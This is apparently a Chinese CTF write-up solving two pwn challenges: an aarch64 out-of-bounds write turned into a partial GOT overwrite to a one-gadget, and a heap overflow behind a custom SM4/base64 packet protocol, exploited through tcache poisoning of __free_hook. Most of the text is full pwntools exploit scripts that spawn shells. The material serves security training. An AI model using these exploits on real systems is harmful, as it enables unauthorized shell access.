dou_like_pwn
libc
2.27的libc
ld在这里下载
http://archlinux.arkena.net/archive/packages/a/aarch64-linux-gnu-glibc/
漏洞
功能2只检查了a1<=2, a1可以是负数, 因此产生越界
思路
PtrArr前面一个回环指针
先Read2B修改这个回环指针的最低2B, 得到任意指针, 然后再利用这个任意地址去修改任意位置2B
所以read功能就是elf任意写2B, 刚好2次
elf任意写, 而且还可以写入GOT, 那么首先想到的就是打GOT
最简单的思路就是partial overwrite GOT为OGG
由于低12bit固定, 所以要找除了低2B以外, 高位都相同的OGG与GOT, 这样只要覆盖最低2B, 猜0.5B即可
最终找到的是这两个
并且恰好满足$x2=0
exp
#! /usr/bin/python
# coding=utf-8
import sys
import os
from pwn import *
from random import randint
context.log_level = 'debug'
context(arch='aarch64', os='linux')
debug = 0
gdb_port = 1234
file_name = './pwn'
elf = ELF(file_name)
libc=ELF('./libc.so.6')
def Log(name):
log.success(name+' = '+hex(eval(name)))
if(len(sys.argv)==1): #local
if(debug):
cmd = ['qemu-aarch64', '-g', str(gdb_port), '-L', '/usr/aarch64', file_name]
else:
cmd = ['qemu-aarch64', '-L', '/usr/aarch64', file_name]
sh = process(cmd)
else: #remtoe
sh = remote('47.104.148.36', 11432)
def INT():
log.success('send SIGINT')
os.system('kill -INT %d'%(sh.pid))
def Num(n):
sh.sendline(str(n))
def Name(name):
sh.recvuntil('hello! tell me you name:')
sh.send(name)
def Pwd(pwd):
sh.recvuntil('admin passwd:')
Num(pwd)
def Cmd(n):
Num(n)
def Allocate(size):
Cmd(1)
sh.recvuntil('size:\n')
Num(size)
def Edit(idx, cont):
Cmd(2)
sh.recvuntil('idx:\n')
Num(idx)
sh.send(cont)
def ChangePwd(l, pwd):
Cmd(3)
sh.recvuntil('len:')
sh.send(str(l))
sh.recvuntil('\n\n')
sh.sendline(str(pwd))
def Addr(base, guess):
return base | (guess<<12)
Name('A'*0x8)
Pwd(0)
ChangePwd(2, 1)
Allocate(0x20)
Edit(-2, p8(0x50))
Edit(-2, p16(Addr(0xe80, randint(0, 0xF))))
Cmd(11)
#INT()
sh.interactive()
'''
gdb-multiarch
file ./pwn
file ./libc.so.6
set architecture aarch64
target remote localhost:1234
proc_base: 0x4000000000
PtrArr: telescope 0x12090+0x0000004000000000
GOT: telescope 0x12000+0x0000004000000000 30
puts(GG): break *(0xE70+0x4000000000)
libc.address: 0x4000864000
0x3f150 execve("/bin/sh", sp+0x70, environ)
constraints:
address x20+0x338 is writable
x3 == NULL
0x3f174 execve("/bin/sh", sp+0x70, environ)
constraints:
addresses x19+0x4, x20+0x338 are writable
[sp+0x70] == NULL
0x3f198 execve("/bin/sh", x21, environ)
constraints:
addresses x19+0x4, x20+0x338 are writable
[x21] == NULL || x21 == NULL
0x63e80 execl("/bin/sh", x1)
constraints:
x1 == NULL
'''
双边协议@1.5
程序分析
- 包结构
8B: maigc =0x2F62696E2F2F7368
8B: packet_len =cont_len+0x20+0x10
8B: head_len = 0x10
8B: cont_len
0x10B: head = 加密用的Key
cont_len: content
但是发现content并不是明文, 所以继续逆向
发现特殊值, 确定是sm4加密
构造包时先生成了0x10B的随机数, 然后每0x20为一个单位, 调用Sm4Enc进行加密
最后把加密的key写入包的Head字段中
加密的具体过程为: 先前16B 后16B分别进行加密, 然后进行一个换位变换
因此得到包解析算法
也还是类似的
在发包时注意, base64要求必须与3对齐, 所以最后发送base64结果时有一个与3对齐操作, 使用=作为padding
漏洞
思路
这题堆环境太复杂了, 只能一点点的去尝试
从过泄露chunk上残留的内容, 泄露libc地址, 发现是2.27的libc
然后各种尝试, 以0x20的单位去分配, 目标是使得第一字节残留的数据可以产生堆溢出
也就是Edit计算chunk size时, 让*ptr_6不为0 , 也不能为太大的数字, 否则会溢出
然后就是堆溢出打Tcache了
上次hmg的双边协议把我打自闭了, 这次一血算是除了心魔, 再也不怕misc-pwn了
EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
from random import randint
from sm4 import SM4Key
#context.log_level = 'debug'
context(arch='amd64', os='linux')
elf = ELF('./pwn')
libc=ELF('./libc-2.27.so')
def Log(name):
log.success(name+' = '+hex(eval(name)))
if(len(sys.argv)==1): #local
sh = process('./pwn')
proc_base = sh.libs()['/home/parallels/pwn']
else: #remtoe
sh = remote('47.104.148.36', 24312)
Magic = 0x2F62696E2F2F7368
MyKey = 'A'*0x10
def Num(n):
sh.sendline(str(n))
def Sm4Dec(enc, key):
g1 = ''
g2 = ''
for i in range(0x20):
if(i%2==0):
g1+=enc[i]
else:
g2+=enc[i]
enc = SM4Key(key)
res = enc.decrypt(g1) + enc.decrypt(g2)
return res
def DecPacket(s):
packet = base64.b64decode(s)
magic = u64(packet[0:8])
packet_len = u64(packet[8:0x10])
head_len = u64(packet[0x10:0x18])
cont_len = u64(packet[0x18: 0x20])
Key = packet[0x20: 0x30]
enc_cont = packet[0x30: 0x30+cont_len]
cont = ''
for i in range(0, cont_len, 0x20):
group = enc_cont[i: i+0x20]
cont+= Sm4Dec(group, Key)
return cont
def Sm4Enc(cont, key):
g1 = cont[0:0x10]
g2 = cont[0x10:0x20]
enc = SM4Key(key[0:0x10])
g1 = enc.encrypt(g1)
g2 = enc.encrypt(g2)
res = ''
for i in range(0x10):
res+= g1[i]
res+= g2[i]
return res
def Packet(head_len, head, cont_len, cont):
packet_len = head_len+cont_len+0x20
packet = flat(Magic)
packet+= flat(packet_len, head_len, cont_len)
packet+= head
for i in range(0, len(cont), 0x20):
packet+= Sm4Enc(cont[i: i+0x20], head)
res = base64.b64encode(packet)
if(len(res)%3 != 0):
res+= '='*(3-(len(res)%3))
return res
def Getline():
res = DecPacket(sh.recvline())
print(res)
return res
def SendPacket(head_len, head, cont_len, cont):
print("Send: "+cont)
sh.send(Packet(head_len, head, cont_len, cont))
def SendCont(cont):
SendPacket(0x10, MyKey, len(cont), cont)
def Cmd(n):
Getline()
Getline()
Getline()
Getline()
Getline()
SendCont(str(n).ljust(0x20, '\x00'))
def Add(size, cont):
Cmd(1)
Getline()
SendCont(str(size).ljust(0x20, '\x00'))
Getline()
SendCont(cont)
def Free(idx):
Cmd(2)
Getline()
SendCont(str(idx).ljust(0x20, '\x00'))
def Edit(idx, cont):
Cmd(4)
Getline()
SendCont(str(idx).ljust(0x20, '\x00'))
Getline()
SendCont(cont)
def Show(idx):
Cmd(5)
Getline()
SendCont(str(idx).ljust(0x20, '\x00'))
#leak addr
Add(0x370, 'A'*0x40)
Show(0)
res = Getline()
libc.address = u64(res[0:8])-0x3ec3a0
Log('libc.address')
heap_addr = u64(res[0x10:0x18])
Log('heap_addr')
Free(0)
Add(0x80, 'B'*0x20)
Add(0x80, 'C'*0x20)
Add(0x80, 'D'*0x20)
Edit(1, 'X'*0x80+flat(0, 0x111, 0xdeadbeef, 0xdeadbeef))
Free(2)
Edit(1, 'X'*0x80+flat(0, 0x111, libc.symbols['__free_hook']-0x8, 0xdeadbeef))
Free(0)
Free(1)
#gdb.attach(sh, '''
#telescope 0x2080e0+0x0000555555554000
#heap bins
#''')
exp = '/bin/sh\x00'
exp+= p64(libc.symbols['system'])
exp = exp.ljust(0x100, 'G')
Add(0x100, exp)
sh.interactive()
'''
PtrArr telescope 0x2080e0+0x0000555555554000
RecvContLen: telescope 0x203078+0x0000555555554000
Edit:
read cont pakcet: break *(0xc5D+0x0000555555554000)
pow(256.0, ...): break *(0xc2e+0x0000555555554000)
RecvPacket:
SM4Dec: break *(0x1849+0x0000555555554000)
'''